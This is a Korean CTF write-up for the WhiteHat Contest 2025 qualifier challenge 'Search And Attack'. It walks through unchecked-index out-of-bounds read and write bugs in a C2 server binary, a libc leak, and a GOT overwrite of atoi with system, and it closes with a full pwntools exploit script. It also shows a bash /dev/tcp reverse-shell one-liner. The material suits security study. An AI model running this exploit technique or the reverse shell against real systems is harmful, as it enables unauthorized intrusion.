WhiteHat Contest 2025 Quals - Search And Attack

0x00. Introduction

➜  tree .
.
β”œβ”€β”€ 8f7c31c3010792cd92b452ac7223128f64189e61ee52fedc107c87a3408a66e9
└── cnc
    β”œβ”€β”€ 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
    β”œβ”€β”€ 39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2.c
    └── libc.so.6

μ‹€ν–‰ νŒŒμΌμ€ μ„œλ²„μ™€ μ•…μ„±μ½”λ“œ(μ•„λ§ˆλ„), μ†ŒμŠ€μ½”λ“œμ™€ 라이브러리 파일이 μ œκ³΅λœλ‹€. μ²˜μŒμ— μ•…μ„±μ½”λ“œλ‘œ μΆ”μ •λ˜λŠ” 8f7c νŒŒμΌμ„ 뢄석해야 ν•˜λ‚˜ μ‹Άμ—ˆλŠ”λ°, κ²°κ΅­μ—λŠ” λ¬Έμ œμ™€ μ „ν˜€ 관련이 μ—†μ—ˆλ‹€.

[*] '/home/user/cnc/39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

C2 μ„œλ²„ 파일인 39fd에 적용된 λ³΄ν˜ΈκΈ°λ²•μ€ μœ„μ™€ κ°™λ‹€.

Environment

μ˜€λžœλ§Œμ— docker ν™˜κ²½μ΄ μ•„λ‹Œ 라이브러리 파일이 μ£Όμ–΄μ Έ LD_PRELOADλ₯Ό ν•˜λ €κ³  ν–ˆλŠ”λ°, 링킹이 잘 μ•ˆλλ‹€.

κ²°κ΅­ pwninitμ΄λΌλŠ” νˆ΄μ„ μ°Ύμ•„ ν•΄κ²°ν–ˆλ‹€. 라이브러리 νŒŒμΌμ„ λ‘œλ“œν•  수 μžˆλŠ” λ‘œλ”λ₯Ό μ°Ύμ•„ λ‹€μš΄λ°›μ„ 뿐만 μ•„λ‹ˆλΌ λ°”μ΄λ„ˆλ¦¬λ₯Ό νŒ¨μΉ˜ν•΄μ„œ μ£Όμ–΄μ§„ 라이브러리λ₯Ό λ‘œλ“œν•˜κ²Œ λ³€κ²½ν•΄μ€€λ‹€. ꡉμž₯히 κ°„λ‹¨ν•œλ° κ°•λ ₯ν•œ 도ꡬ인 것 κ°™λ‹€.

Concept

➜  ./39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2
[*] Starting server on port 8080...
[*] Server listening on port 8080

C2 μ„œλ²„ νŒŒμΌμ„ μ‹€ν–‰ν•˜λ©΄ μœ„μ™€ 같이 8080 포트λ₯Ό μ—΄κ³  λŒ€κΈ°ν•œλ‹€. 이후 C2 ν”„λ‘œν† μ½œμ— λ§žλŠ” μš”μ²­μ΄ 왔을 λ•Œ 그에 ν•΄λ‹Ήν•˜λŠ” λ‘œμ§μ„ μˆ˜ν–‰ν•œλ‹€.

0x01. Vulnerability

μ½”λ“œκ°€ μ•½ 500쀄정도 λ˜λŠ”λ° ν•˜λ‚˜μ˜ μ·¨μ•½μ μœΌλ‘œ exploit에 μ„±κ³΅ν•΄μ„œ λ‹€λ₯Έ 취약점이 μžˆμ„ μˆ˜λ„ μžˆλ‹€.

void update_bot(int bot_id, const char* data, size_t data_size) {
    pthread_mutex_lock(&bots_mutex);
    
    int index = bot_id;
    int field_count = 0;
    ...
    while (*ptr && field_count < 8) {
        if (*ptr == '|') {
            *ptr = '\0';
            fields[field_count++] = start;
            start = ptr + 1;
        }
        ptr++;
    }
    if (field_count < 8) {
        fields[field_count++] = start;
    }
    
    if (field_count > 0 && strlen(fields[0]) > 0) 
        memcpy(bots[index].hostname, fields[0], MAX_BUFFER_LEN - 1);
    
    if (field_count > 1 && strlen(fields[1]) > 0) 
        memcpy(bots[index].username, fields[1], MAX_BUFFER_LEN - 1);
    ...
    printf("[*] Bot updated: ID=%d\n", bot_id);
    
    pthread_mutex_unlock(&bots_mutex);
}

void detail_bot(int bot_id, int client_socket) {
    pthread_mutex_lock(&bots_mutex);
    
    char response[BUFFER_SIZE * 4] = {0};
    
    int index = bot_id;
    snprintf(response, sizeof(response), 
            "BOT_DETAIL|%d|%.255s|%.255s|%.15s|%.15s|%.255s|%.255s|%.63s|%.63s|%ld\n",
            bots[index].id,
            bots[index].hostname,
            bots[index].username,
            bots[index].public_ip,
            bots[index].private_ip,
            bots[index].os_info,
            bots[index].cpu_info,
            bots[index].ram_info,
            bots[index].disk_info,
            bots[index].last_seen);

    send(client_socket, response, strlen(response), 0);
    
    pthread_mutex_unlock(&bots_mutex);
}

update_botκ³Ό detail_botμ—μ„œ index에 λŒ€ν•œ 검증을 ν•˜μ§€ μ•ŠκΈ° λ•Œλ¬Έμ— 각각 OOB write, OOB read 취약점이 λ°œμƒν•œλ‹€.

0x02. Exploit

OOB Read

μ΅œλŒ€ bots의 개수인 MAX_BOTSκ°€ 1000μ΄λ‚˜ 되기 λ•Œλ¬Έμ— bots의 λ’€ μ˜μ—­λ³΄λ‹€λŠ” μ•ž μ˜μ—­μ— 관심이 κ°”λ‹€.

μš°μ„  OOB readλ₯Ό ν™œμš©ν•˜κΈ° μœ„ν•΄ λ‹€μŒκ³Ό 같이 payloadλ₯Ό μž‘μ„±ν–ˆλ‹€.

    s.sendline(b"DETAIL|-1")
    r = s.recv().split(b"|")[1:]
    for o, f in zip(order, r):
        print(f"{o} : {f}, len {len(f)}")

이 λ•Œ 좜λ ₯λ˜λŠ” λ‚΄μš©μ€ λ‹€μŒκ³Ό κ°™λ‹€.

id : b'0', len 1
hostname : b'', len 0
username : b'', len 0
public_ip : b'XXXXXXXXXXXXXXX', len 15
private_ip : b'XXXXXXXXXXXXXXX', len 15
os_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 255
cpu_info : b'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', len 32
ram_info : b'\xa0\x95\xd3\xf7\xff\x7f', len 6
disk_info : b'P\xec\xd0\xf7\xff\x7f', len 6
last_seen : b'0\n', len 2

ram_info와 disk_infoλ₯Ό 보면 libc μ£Όμ†Œκ°€ μ–»μ–΄μ§„λ‹€. bots μœ„ μ˜μ—­μ— ν•΄λ‹Ήν•˜λŠ” λ©”λͺ¨λ¦¬λ₯Ό 좜λ ₯해보면 λ‹€μŒκ³Ό κ°™λ‹€.

gef➀  x/46gx 0x0000000000406000
0x406000 <free@got.plt>:        0x00007ffff7cadd30      0x00007ffff7d2bbe0
0x406010 <puts@got.plt>:        0x0000000000401050      0x00007ffff7d2c180
0x406020 <inet_ntoa@got.plt>:   0x00007ffff7d3c400      0x00007ffff7d2ba30
0x406030 <strlen@got.plt>:      0x00007ffff7d8b780      0x00000000004010a0
0x406040 <htons@got.plt>:       0x00007ffff7d395a0      0x00007ffff7d2bec0
0x406050 <printf@got.plt>:      0x00007ffff7c60100      0x00007ffff7c66370
0x406060 <memset@got.plt>:      0x00007ffff7d89440      0x0000000000401100
0x406070 <strcmp@got.plt>:      0x00007ffff7d8afd0      0x00007ffff7c451a0
0x406080 <memcpy@got.plt>:      0x00007ffff7d88a40      0x00007ffff7fc3a40
0x406090 <select@got.plt>:      0x00007ffff7d26bc0      0x00007ffff7ca1a70
0x4060a0 <malloc@got.plt>:      0x00007ffff7cad650      0x00007ffff7c9dc70
0x4060b0 <listen@got.plt>:      0x00007ffff7d2bb50      0x00007ffff7d395a0
0x4060c0 <bind@got.plt>:        0x00007ffff7d2b960      0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>:      0x00007ffff7c28a93      0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>:      0x00007ffff7d2b820      0x00007ffff7c58750
0x4060f0 <strcat@got.plt>:      0x007ffff7d0ec507c      0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>:  0x00007ffff7c9fff0      0x00007ffff7d2c310
0x406110:       0x0000000000000000      0x0000000000000000
0x406120 <server_running>:      0x0000000000000001      0x0000000000000000
0x406130:       0x0000000000000000      0x00000000691bb9f6
0x406140 <completed.0>: 0x0000000000000000      0x0000000000000000
0x406150:       0x0000000000000000      0x0000000000000000
0x406160 <bots>:        0x0000000000000000      0x0000000000000000

μ΄λ ‡κ²Œ GOT μ˜μ—­μ„ 톡해 libc μ£Όμ†Œκ°€ 좜λ ₯λœλ‹€. 좜λ ₯된 μ£Όμ†ŒλŠ” ntohs와 sleep의 libc μ£Όμ†Œμ΄λ‹€.

OOB Write

λ”°λΌμ„œ update_bot을 μ΄μš©ν•΄ GOT overwrite μ‹œλ‚˜λ¦¬μ˜€λ₯Ό μƒκ°ν–ˆλŠ”λ°, κ·Έ κ³Όμ •μ—μ„œ 두 κ°€μ§€ μ‹€μˆ˜κ°€ μžˆμ—ˆλ‹€.

  1. GOT보닀 μœ„ μ˜μ—­μ—λŠ” r κΆŒν•œλ§Œ 있기 λ•Œλ¬Έμ— hostname, username 등을 μ“°λŠ” κ³Όμ •μ—μ„œ Segmentation Faultκ°€ λ°œμƒν•¨
  2. ntohs와 sleep의 GOTλ₯Ό overwriteν•˜λ €κ³  함

이 μ‹€μˆ˜λ“€μ€ μ½”λ“œλ₯Ό 잘 보면 ν•˜μ§€ μ•Šμ•˜μ„ κ²ƒμ΄λΌμ„œ ν”Όλ“œλ°± μ°¨μ›μœΌλ‘œ κΈ°λ‘ν•œλ‹€.

if (field_count > 6 && strlen(fields[6]) > 0) 
    memcpy(bots[bot_index].ram_info, fields[6], MAX_IO_INFO_BUFFER_LEN - 1);
  1. strlen(field[i]) > 0일 λ•Œλ§Œ memcpyλ₯Ό ν•˜κΈ° λ•Œλ¬Έμ— field[i]λ₯Ό λΉ„μ›Œλ‘λ©΄ hostname, username을 μ“°λŠ” 과정을 μŠ€ν‚΅ν•  수 있음
  2. memcpy둜 λ©”λͺ¨λ¦¬λ₯Ό ν†΅μ§Έλ‘œ λ³΅μ‚¬ν•˜κΈ° λ•Œλ¬Έμ— ꡳ이 ntohsλ‚˜ sleep이 μ•„λ‹Œ 뒀에 μžˆλŠ” λ‹€λ₯Έ ν•¨μˆ˜μ˜ GOTλ₯Ό overwrite해도 됨

μ•„λ¬΄νŠΌ OOB writeλ₯Ό μ΄μš©ν•΄ GOT overwriteλ₯Ό ν•˜κΈ° μœ„ν•΄ ntohs μ΄ν›„μ˜ GOT듀을 좜λ ₯ν•΄λ³΄μ•˜λ‹€.

0x4060b8 <ntohs@got.plt>:       0x00007ffff7d395a0
0x4060c0 <bind@got.plt>:        0x00007ffff7d2b960
0x4060c8 <pthread_create@got.plt>:      0x00007ffff7c9cbc0
0x4060d0 <perror@got.plt>:      0x00007ffff7c28a93
0x4060d8 <strtok@got.plt>:      0x00007ffff7cb5c00
0x4060e0 <accept@got.plt>:      0x00007ffff7d2b820
0x4060e8 <atoi@got.plt>:        0x00007ffff7c58750
0x4060f0 <strcat@got.plt>:      0x007ffff7d0ec507c
0x4060f8 <sleep@got.plt>:       0x00007ffff7d0ec50
0x406100 <pthread_mutex_lock@got.plt>:  0x00007ffff7c9fff0
0x406108 <socket@got.plt>:      0x00007ffff7d2c310
0x406110:       0x0000000000000000
0x406118:       0x0000000000000000
0x406120 <server_running>:      0x0000000000000001

μœ„ ν•¨μˆ˜λ“€ 쀑 μΈμžμ— μž…λ ₯을 λ„£κΈ° 쒋은 ν•¨μˆ˜λ₯Ό μ°Ύμ•„λ³΄μ•˜λŠ”λ°, atoiκ°€ μ’‹μ•„λ³΄μ˜€λ‹€.

void* handle_client(void* arg) {
    ...
    else if (strcmp(cmd, CMD_DELETE) == 0) {
        char *bot_id_str = strtok(NULL, "|");
        if (bot_id_str) {
            int bot_id = atoi(bot_id_str);
            delete_bot(bot_id);
            char response[] = "DELETED|OK\n";
            send(client_socket, response, strlen(response), 0);
        }
    }
    ...
}

μ„œλ²„μ— μ „λ‹¬λ˜λŠ” DELETE| 이후에 μžˆλŠ” λ¬Έμžμ—΄μ΄ κ·ΈλŒ€λ‘œ bot_id_str에 λ“€μ–΄κ°€κΈ° λ•Œλ¬Έμ— atoi의 GOTλ₯Ό system의 μ£Όμ†Œλ‘œ 바꿨을 경우 인자λ₯Ό 전달해주기 맀우 νŽΈλ¦¬ν•˜λ‹€. 이 λ•Œ λ‹€λ₯Έ ν•¨μˆ˜λ“€μ˜ GOTλ₯Ό 건듀이면 μ—λŸ¬κ°€ λ‚  ν™•λ₯ μ΄ λ†’κΈ° λ•Œλ¬Έμ— κΈ°μ‘΄ 값듀을 μœ μ§€ν•΄μ€˜μ•Ό ν•œλ‹€.

λ”°λΌμ„œ λ‹€μŒκ³Ό 같이 payloadλ₯Ό μž‘μ„±ν–ˆλ‹€.

    payload = b"UPDATE|-1|"
    payload += b"|" * 6
    payload += p64(libc_base + lib.symbols['ntohs'])
    payload += p64(libc_base + lib.symbols['bind'])
    payload += p64(libc_base + lib.symbols['pthread_create'])
    payload += p64(libc_base + lib.symbols['perror'])
    payload += p64(libc_base + lib.symbols['strtok'])
    payload += p64(libc_base + lib.symbols['accept'])
    payload += p64(libc_base + lib.symbols['system'])       # atoi
    payload += b"|"
    payload += p64(sleep_addr)
    s.sendline(payload)

    print(s.recv())

    payload = b"DELETE|"
    payload += b"/bin/sh"
    s.sendline(payload)

    print(p.recv())

μ—¬κΈ°μ—μ„œλŠ” system의 인자둜 /bin/shλ₯Ό 전달해도 μΆ©λΆ„ν–ˆλŠ”λ°, ν™˜κ²½μ— λ”°λΌμ„œλŠ” λ‹€μŒκ³Ό 같은 μΈμžκ°€ ν•„μš”ν•  μˆ˜λ„ μžˆλ‹€.

  • bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "39fda5175d9a8746dea0cfbf05389ac2cfb85e531dbbe9e9aa517dfe9b7e6de2_patched"
LIBRARY = "libc.so.6"
CONTAINER = ""
code_base = 0x555555554000
bp = {
    'main' : code_base + 0x16ae,
}
gs = f'''
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        p = process(BINARY)
        if debug:
            gdb.attach(p, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    order = ["id", "hostname", "username", "public_ip", "private_ip", "os_info", "cpu_info", "ram_info", "disk_info", "last_seen"]

    print(p.recvuntil(b"8080\n"))

    s = remote("127.0.0.1", 8080)

    s.sendline(b"DETAIL|-1")
    r = s.recv().split(b"|")[1:]
    for o, f in zip(order, r):
        print(f"{o} : {f}, len {len(f)}")
    ntohs_addr = u64(r[-3] + b"\x00\x00")
    sleep_addr = u64(r[-2] + b"\x00\x00")
    libc_base = sleep_addr - lib.symbols['sleep']

    log.info(f"ntohs_addr : {hex(ntohs_addr)}")
    log.info(f"sleep_addr : {hex(sleep_addr)}")
    log.info(f"libc_base  : {hex(libc_base)}")

    payload = b"UPDATE|-1|"
    payload += b"|" * 6
    payload += p64(libc_base + lib.symbols['ntohs'])
    payload += p64(libc_base + lib.symbols['bind'])
    payload += p64(libc_base + lib.symbols['pthread_create'])
    payload += p64(libc_base + lib.symbols['perror'])
    payload += p64(libc_base + lib.symbols['strtok'])
    payload += p64(libc_base + lib.symbols['accept'])
    payload += p64(libc_base + lib.symbols['system'])       # atoi
    payload += b"|"
    payload += p64(sleep_addr)
    s.sendline(payload)

    print(s.recv())

    payload = b"DELETE|"
    payload += b"/bin/sh"
    s.sendline(payload)

    print(p.recv())

    p.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)